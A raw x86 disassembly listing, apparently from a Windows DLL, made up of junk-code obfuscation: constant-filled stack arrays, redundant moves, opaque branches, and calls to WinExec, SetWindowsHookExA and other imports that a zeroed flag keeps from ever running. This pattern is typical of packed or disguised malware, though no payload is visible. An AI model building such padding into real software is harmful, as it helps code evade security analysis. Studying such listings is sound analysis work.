add eax, 0x6cbc8ca9
add eax, ecx
xor ecx, ecx
cmp eax, 0xfffffff7
pop eax
setg cl
mov dword [ebp - 0x44], ecx
inc dword [ebp - 0x3c]
cmp dword [ebp - 0x3c], 9
push 1
pop esi
jg 0x100307ee
push 2
pop ecx
inc dword [ebp - 0x48]
cmp dword [ebp - 0x48], ecx
jle 0x100307cf
push 3
pop ebx
inc dword [ebp - 0x34]
xor eax, eax
cmp dword [ebp - 0x450], eax
je 0x10030983
mov eax, dword [ebp - 0x34]
mov ecx, dword [ebp - 0x44c]
sub ecx, eax
mov eax, dword [ebp - 0x38]
neg ecx
sbb ecx, ecx
xor edx, edx
inc ecx
cmp ecx, 0x7d4e0d3b
setg dl
xor ecx, ecx
cmp edx, eax
setne cl
cmp ecx, dword [ebp - 0x34]
jg 0x10030949
xor eax, eax
mov ecx, eax
cmp dword [ebp - 0x450], eax
je 0x1003094b
mov ecx, esi
mov eax, dword [ebp - 0x34]
xor edx, edx
sub ecx, eax
mov eax, dword [ebp - 0x38]
add eax, 0xffff
add eax, ecx
imul eax, dword [ebp - 0x34]
neg eax
mov dword [ebp - 0x450], eax
mov ecx, dword [ebp - 0x34]
mov eax, dword [ebp - 0x34]
cmp ecx, eax
setg dl
xor eax, eax
mov dword [ebp - 0x2c], edx
cmp dword [ebp - 0x2c], eax
je 0x10030981
mov eax, esi
jmp 0x10030983
xor eax, eax
mov dword [ebp - 0x44], eax
xor eax, eax
mov dword [ebp - 0x48], 0x666a
mov dword [ebp - 0x468], edi
mov dword [ebp - 0x464], edi
mov dword [ebp - 0x460], edi
mov dword [ebp - 0x45c], edi
mov dword [ebp - 0x30], 0xb7466640
mov dword [ebp - 0x34], eax
mov dword [ebp - 0x38], 0xe56b76af
mov dword [ebp - 0x2c], 6
mov dword [ebp - 0x44], eax
cmp dword [ebp - 0x48], eax
je 0x100309e8
mov eax, dword [ebp - 0x48]
mov eax, dword [ebp - 0x48]
mov eax, dword [ebp - 0x48]
mov eax, dword [ebp - 0x48]
mov eax, dword [ebp - 0x48]
mov eax, dword [ebp - 0x48]
mov eax, dword [ebp - 0x48]
mov eax, dword [ebp - 0x48]
mov eax, dword [ebp - 0x48]
mov eax, dword [ebp - 0x48]
mov eax, dword [ebp - 0x48]
mov eax, dword [ebp - 0x48]
xor eax, eax
mov ecx, eax
cmp dword [ebp - 0x48], eax
je 0x100309f6
mov ecx, esi
mov eax, dword [ebp - 0x48]
add eax, ecx
xor ecx, ecx
cmp eax, 0x5205300c
mov eax, dword [ebp - 0x48]
setle cl
imul eax, ecx
test eax, eax
je 0x10030a41
xor eax, eax
mov dword [ebp - 0x44], 0x9ebef9f3
mov dword [ebp - 0x10], eax
jmp 0x10030a2a
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x1070], esi
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 4
jl 0x10030a1d
mov eax, dword [ebp - 0x106c]
push 2
mov dword [ebp - 0x44], eax
pop edi
jmp 0x10030bf5
mov dword [ebp - 0x30], 0xe27dfdee
xor eax, eax
mov dword [ebp - 0x30], 7
mov dword [ebp - 0x30], 0x795bcd59
mov dword [ebp - 0x30], 8
mov dword [ebp - 0x30], 0x4db59fb1
mov dword [ebp - 0x30], 0xfffffff9
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], ebx
jge 0x10030a93
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0xca0], 0xc77e2192
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], ebx
jl 0x10030a7b
xor eax, eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], esi
jge 0x10030aaf
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0xba4], esi
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], esi
jl 0x10030a9b
xor eax, eax
push 2
mov dword [ebp - 0x48], eax
pop edi
cmp dword [ebp - 0x48], edi
jg 0x10030bf2
mov dword [ebp - 0x3c], 4
mov dword [ebp - 0x44], 0x497a847e
mov dword [ebp - 0x3c], 0xfffffffc
cmp dword [ebp - 0x3c], 9
jle 0x10030be3
mov dword [ebp - 0x2c], esi
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 4
jge 0x10030b02
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x1e8], 0x2be2ff5
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 4
jl 0x10030ae9
xor eax, eax
mov dword [ebp - 0x1dc], eax
jmp 0x10030b73
mov dword [ebp - 0x2c], 0xc710
mov dword [ebp - 0x44], 0xd9132e88
mov eax, dword [ebp - 0x1e8]
cmp eax, dword [ebp - 0x1dc]
jl 0x10030b47
mov eax, dword [ebp - 0x1dc]
mov eax, dword [ebp - 0x48]
mov eax, dword [ebp - 0xc98]
mov eax, dword [ebp - 0x1dc]
mov eax, dword [ebp - 0x48]
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0xc98]
mov eax, dword [ebp - 0x1dc]
xor edx, edx
mov dword [ebp - 0x2c], eax
mov ecx, dword [ebp - 0x44]
mov eax, dword [ebp - 0x2c]
cmp eax, ecx
mov eax, 0xdbb7a2e2
setg dl
sub eax, edx
mov dword [ebp - 0x460], edx
mov dword [ebp - 0x2c], eax
inc dword [ebp - 0x1dc]
cmp dword [ebp - 0x1dc], 5
jge 0x10030b0a
mov eax, dword [ebp - 0x460]
xor ecx, ecx
mov dword [ebp - 0x2c], eax
mov esi, dword [ebp - 0x1e4]
mov eax, dword [ebp - 0x2c]
dec esi
cmp eax, 0xfffffff9
mov eax, dword [ebp - 0x1dc]
push 0
setg cl
xor edx, edx
cmp ecx, esi
setge dl
xor ebx, ebx
cmp edx, eax
mov eax, dword [ebp - 0x1e4]
setge bl
xor ecx, ecx
cmp ebx, eax
mov eax, dword [ebp - 0x1dc]
setne cl
add eax, 0x6cbc8ca9
add eax, ecx
xor ecx, ecx
cmp eax, 0xfffffff7
pop eax
setg cl
mov dword [ebp - 0x44], ecx
inc dword [ebp - 0x3c]
cmp dword [ebp - 0x3c], 9
push 1
pop esi
jg 0x10030add
inc dword [ebp - 0x48]
cmp dword [ebp - 0x48], edi
jle 0x10030abe
push 3
pop ebx
inc dword [ebp - 0x34]
xor eax, eax
cmp dword [ebp - 0x460], eax
je 0x10030c6f
mov eax, dword [ebp - 0x34]
mov ecx, dword [ebp - 0x45c]
sub ecx, eax
mov eax, dword [ebp - 0x38]
neg ecx
sbb ecx, ecx
xor edx, edx
inc ecx
cmp ecx, 0x7d4e0d3b
setg dl
xor ecx, ecx
cmp edx, eax
setne cl
cmp ecx, dword [ebp - 0x34]
jg 0x10030c35
xor eax, eax
mov ecx, eax
cmp dword [ebp - 0x460], eax
je 0x10030c37
mov ecx, esi
mov eax, dword [ebp - 0x34]
xor edx, edx
sub ecx, eax
mov eax, dword [ebp - 0x38]
add eax, 0xffff
add eax, ecx
imul eax, dword [ebp - 0x34]
neg eax
mov dword [ebp - 0x460], eax
mov ecx, dword [ebp - 0x34]
mov eax, dword [ebp - 0x34]
cmp ecx, eax
setg dl
xor eax, eax
mov dword [ebp - 0x2c], edx
cmp dword [ebp - 0x2c], eax
je 0x10030c6d
mov eax, esi
jmp 0x10030c6f
xor eax, eax
mov dword [ebp - 0x44], eax
xor eax, eax
mov dword [ebp - 0x30], 0x99ac
mov dword [ebp - 0x3c], eax
mov dword [ebp - 0x2c], esi
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], ebx
jge 0x10030ca1
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0xf10], 0
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], ebx
jl 0x10030c89
xor eax, eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], edi
jge 0x10030cc1
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x1120], 0xd19ac196
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], edi
jl 0x10030ca9
xor eax, eax
inc dword [ebp - 0x2c]
mov dword [ebp - 0x3c], eax
cmp dword [ebp - 0x3c], ebx
jge 0x10030ce4
mov eax, dword [ebp - 0x3c]
mov dword [ebp + eax*4 - 0xf10], 0
inc dword [ebp - 0x3c]
cmp dword [ebp - 0x3c], ebx
jl 0x10030ccc
xor eax, eax
mov dword [ebp - 0x34], esi
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x44], 0xd9796a0b
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], ebx
jge 0x10030d11
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x2e8], 0xfffc
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], ebx
jl 0x10030cf9
xor eax, eax
mov dword [ebp - 0x34], eax
cmp dword [ebp - 0x34], edi
mov edi, dword [sym.imp.ADVAPI32.dll_InitializeSecurityDescriptor]
jg 0x10030d40
push 2
pop ecx
mov byte [ebp - 0x15], al
cmp byte [ebp - 0x15], 0
je 0x10030d38
push 0x1bf9
push eax
call edi
push 2
xor eax, eax
pop ecx
inc dword [ebp - 0x34]
cmp dword [ebp - 0x34], ecx
jle 0x10030d22
mov ecx, esi
cmp dword [ebp - 0x2e4], eax
jne 0x10030d4c
mov ecx, eax
mov eax, dword [ebp - 0x2e4]
sub ecx, eax
jne 0x10030d60
xor eax, eax
cmp dword [ebp - 0x2e0], eax
je 0x10030d62
mov eax, esi
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x2e0]
mov dword [ebp - 0x34], eax
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x2e4]
imul eax, dword [ebp - 0x2c], 0x5c29
cmp dword [ebp - 0x2e8], eax
jge 0x10030d92
xor eax, eax
mov ecx, eax
cmp dword [ebp - 0x34], eax
je 0x10030d94
mov ecx, esi
mov eax, dword [ebp - 0x2e0]
xor edx, edx
cmp ecx, eax
mov eax, dword [ebp - 0x2e0]
setle dl
xor ecx, ecx
cmp edx, eax
setg cl
xor eax, eax
mov dword [ebp - 0x44], ecx
mov dword [ebp - 0x3c], 0xf845d811
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 4
jge 0x10030ddc
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0xd7c], 0x28c176b0
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 4
jl 0x10030dc3
xor eax, eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], ebx
jge 0x10030df8
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x448], esi
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], ebx
jl 0x10030de4
xor eax, eax
mov dword [ebp - 0x448], eax
cmp dword [ebp - 0x448], ebx
jg 0x10030e30
mov eax, dword [ebp - 0x448]
mov ecx, dword [ebp + eax*4 - 0xd7c]
mov eax, dword [ebp - 0x448]
mov dword [ebp + eax*4 - 0xd7c], ecx
inc dword [ebp - 0x448]
cmp dword [ebp - 0x448], ebx
jle 0x10030e06
xor eax, eax
mov dword [ebp - 0x3c], eax
cmp dword [ebp - 0x3c], 0xffffffea
je 0x10030f24
or edi, 0xffffffff
mov dword [ebp - 0x20], esi
mov dword [ebp - 0x2c], 0x8bd85027
mov dword [ebp - 0x20], eax
jmp 0x10030e66
mov byte [ebp - 0x15], al
cmp byte [ebp - 0x15], 0
je 0x10030e63
push 0xc
push eax
call dword [sym.imp.KERNEL32.dll_WinExec]
xor eax, eax
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], ebx
jle 0x10030e4f
cmp dword [ebp - 0x20], eax
je 0x10030ee3
mov dword [ebp - 0x54], ebx
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], ebx
jge 0x10030e93
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0xdd8], 0xa05d
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], ebx
jl 0x10030e7b
xor eax, eax
cmp dword [ebp - 0x54], eax
je 0x10030ead
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 0xdd4], edi
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x3c]
xor edx, edx
mov ecx, dword [ebp - 0x54]
mov eax, dword [ebp - 0x54]
cmp ecx, eax
mov eax, 0xdec995f7
setne dl
cmp eax, edx
sbb eax, eax
inc eax
mov dword [ebp - 0x20], eax
xor eax, eax
mov byte [ebp - 0x15], al
cmp byte [ebp - 0x15], al
je 0x10030f0e
push 0x956
push eax
push eax
call dword [sym.imp.KERNEL32.dll_QueryDosDeviceW]
jmp 0x10030f0e
mov dword [ebp - 0x44], eax
mov dword [ebp - 0x20], 5
jmp 0x10030f05
mov byte [ebp - 0x15], al
cmp byte [ebp - 0x15], 0
je 0x10030f02
push eax
push eax
call dword [sym.imp.OLEAUT32.dll_VariantCopyInd]
xor eax, eax
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], 0x15
jl 0x10030eef
mov eax, dword [ebp - 0x44]
dec dword [ebp - 0x3c]
cmp dword [ebp - 0x3c], 0xffffffea
push 0
pop eax
jne 0x10030e40
mov edi, dword [sym.imp.ADVAPI32.dll_InitializeSecurityDescriptor]
mov dword [ebp - 0x5c], 0xda115252
mov dword [ebp - 0x30], 0xffff
mov byte [ebp - 0x15], al
cmp byte [ebp - 0x15], 0
je 0x10030f58
push eax
push 0x25f2
push 0x14a1
push 0xc94
push 0x161a
call dword [sym.imp.GDI32.dll_CreateBitmap]
xor eax, eax
mov byte [ebp - 0x15], al
cmp byte [ebp - 0x15], 0
je 0x10030f6f
push 0x849
push eax
call dword [sym.imp.OLEAUT32.dll_SysReAllocStringLen]
xor eax, eax
mov dword [ebp - 0x14], 0xfffffffd
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 4
jge 0x10030f98
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x1218], 0xc64a6847
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 4
jl 0x10030f7f
xor eax, eax
mov dword [ebp - 0x14], ebx
cmp dword [ebp - 0x14], eax
jl 0x10030fc2
mov byte [ebp - 0x15], al
cmp byte [ebp - 0x15], 0
je 0x10030fbd
push 0x17db
push eax
push eax
push 0xca7
call dword [sym.imp.USER32.dll_SetWindowsHookExA]
xor eax, eax
dec dword [ebp - 0x14]
jns 0x10030fa0
mov dword [ebp - 0x14], eax
jmp 0x10030fde
mov byte [ebp - 0x15], al
cmp byte [ebp - 0x15], 0
je 0x10030fdb
push eax
push eax
push eax
call dword [sym.imp.OLEAUT32.dll_SysFreeString]
xor eax, eax
dec dword [ebp - 0x14]
cmp dword [ebp - 0x14], 0xfffffff9
je 0x10030fc7
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 4
jge 0x10031006
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0xa0c], 0xfffffffc
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 4
jl 0x10030fed
xor eax, eax
mov dword [ebp - 0x2c], 0xad6
or edx, 0xffffffff
push 2
pop ecx
mov dword [ebp - 0x30], ecx
mov dword [ebp - 0x30], edx
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], ebx
jge 0x10031035
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x1208], ebx
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], ebx
jl 0x10031021
xor eax, eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], ecx
jge 0x10031055
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x878], 0xe314
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], ecx
jl 0x1003103d
xor eax, eax
dec dword [ebp - 0x2c]
inc dword [ebp - 0x874]
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], ebx
jge 0x1003107e
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0xe98], 4
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], ebx
jl 0x10031066
xor eax, eax
mov dword [ebp - 0x5c], esi
mov dword [ebp - 0x28], 0xe1e87df2
mov dword [ebp - 0x40], 0x57f39cee
mov dword [ebp - 0x44], 0xfffffffb
mov dword [ebp - 0x30], esi
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 4
jge 0x100310b7
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x1088], edx
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 4
jl 0x100310a2
xor eax, eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], ecx
jge 0x100310d7
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x6b0], 0x1fc3eee2
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], ecx
jl 0x100310bf
xor eax, eax
mov byte [ebp - 0x15], al
cmp byte [ebp - 0x15], 0
je 0x100310f2
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_HideCaret]
push 2
xor eax, eax
pop ecx
mov dword [ebp - 0x28], eax
jmp 0x10031250
mov dword [ebp - 0x3c], 0xfffffff7
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], esi
jge 0x10031121
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0xb0], 0x4888999d
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], esi
jl 0x10031109
xor eax, eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], esi
jge 0x10031141
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x640], 0xfffffffe
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], esi
jl 0x10031129
xor eax, eax
mov dword [ebp - 0x6ac], 0xfffffffb
mov dword [ebp - 0xb0], eax
jmp 0x1003119b
mov dword [ebp - 0x30], 0x285c
mov dword [ebp - 0x30], 8
mov dword [ebp - 0x30], 0x58f9c25b
mov dword [ebp - 0x30], 0xf07c70ab
mov dword [ebp - 0x30], esi
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], ecx
jge 0x10031192
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x1078], 0x45714ffd
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], ecx
jl 0x1003117a
xor eax, eax
dec dword [ebp - 0x40]
inc dword [ebp - 0xb0]
cmp dword [ebp - 0xb0], ebx
jle 0x10031153
mov dword [ebp - 0x3c], eax
jmp 0x10031241
mov dword [ebp - 0x38], 0xfffffff8
mov dword [ebp - 0x2c], 0x7d77fc7d
mov dword [ebp - 0x40], eax
cmp dword [ebp - 0x40], ebx
jg 0x10031236
mov dword [ebp - 0x10], esi
xor edx, edx
mov dword [ebp - 0x4c], 0x653649d9
dec dword [ebp - 0x10]
mov ecx, dword [ebp - 0x6ac]
mov eax, dword [ebp - 0x10]
cmp eax, ecx
setg dl
cmp dword [ebp - 0x38], edx
jge 0x10031218
mov eax, dword [ebp - 0x6ac]
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp - 0x2c]
add eax, dword [ebp - 0x38]
cmp dword [ebp - 0x10], eax
jle 0x10031202
xor eax, eax
cmp dword [ebp - 0x10], eax
je 0x10031204
mov eax, esi
jmp 0x10031204
xor eax, eax
mov dword [ebp - 0xb0], eax
mov eax, dword [ebp - 0x44]
xor eax, eax
cmp dword [ebp - 0x3c], eax
je 0x1003121a
mov edx, esi
jmp 0x1003121c
xor eax, eax
mov edx, eax
mov eax, dword [ebp - 0x1084]
xor ecx, ecx
cmp edx, eax
setl cl
mov dword [ebp - 0x4c], ecx
inc dword [ebp - 0x40]
cmp dword [ebp - 0x40], ebx
jle 0x100311c1
xor eax, eax
cmp dword [ebp - 0x640], eax
jne 0x1003124a
inc dword [ebp - 0x3c]
cmp dword [ebp - 0x3c], ebx
jle 0x100311ab
inc dword [ebp - 0x28]
push 2
pop ecx
cmp dword [ebp - 0x28], ebx
jle 0x100310fa
mov dword [ebp - 0x5c], eax
cmp dword [ebp - 0x5c], ebx
jg 0x100338e2
mov dword [ebp - 0x14], esi
mov dword [ebp - 0x30], 0xfffffff6
mov dword [ebp - 0x30], 0xcc895931
mov dword [ebp - 0x30], 0x96378555
mov dword [ebp - 0x30], 0x5245
mov dword [ebp - 0x30], esi
mov dword [ebp - 0x30], ebx
push 4
mov dword [ebp - 0x1c], eax
pop edx
cmp dword [ebp - 0x1c], edx
jge 0x100312ad
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x1248], 0xd45d
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], edx
jl 0x10031295
xor eax, eax
push 2
mov dword [ebp - 0x1c], eax
pop ecx
cmp dword [ebp - 0x1c], ecx
jge 0x100312d0
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x7b8], 0xba87
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], ecx
jl 0x100312b8
xor eax, eax
mov dword [ebp - 0x14], eax
jmp 0x100312e4
cmp dword [ebp - 0x14], 0xfffffff6
jl 0x100312d5
mov dword [ebp - 0x30], 0x99ac
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x50], esi
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], ebx
jge 0x1003390f
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0xef8], 0
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ebx
jl 0x100338f7
xor eax, eax
push 2
mov dword [ebp - 0x14], eax
pop ecx
cmp dword [ebp - 0x14], ecx
jge 0x10033932
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x1008], 0xd19ac196
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ecx
jl 0x1003391a
xor eax, eax
inc dword [ebp - 0x50]
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], ebx
jge 0x10033955
mov eax, dword [ebp - 0x28]
mov dword [ebp + eax*4 - 0xef8], 0
inc dword [ebp - 0x28]
cmp dword [ebp - 0x28], ebx
jl 0x1003393d
mov dword [ebp - 0x30], 0x99ac
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x50], esi
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], ebx
jge 0x10033982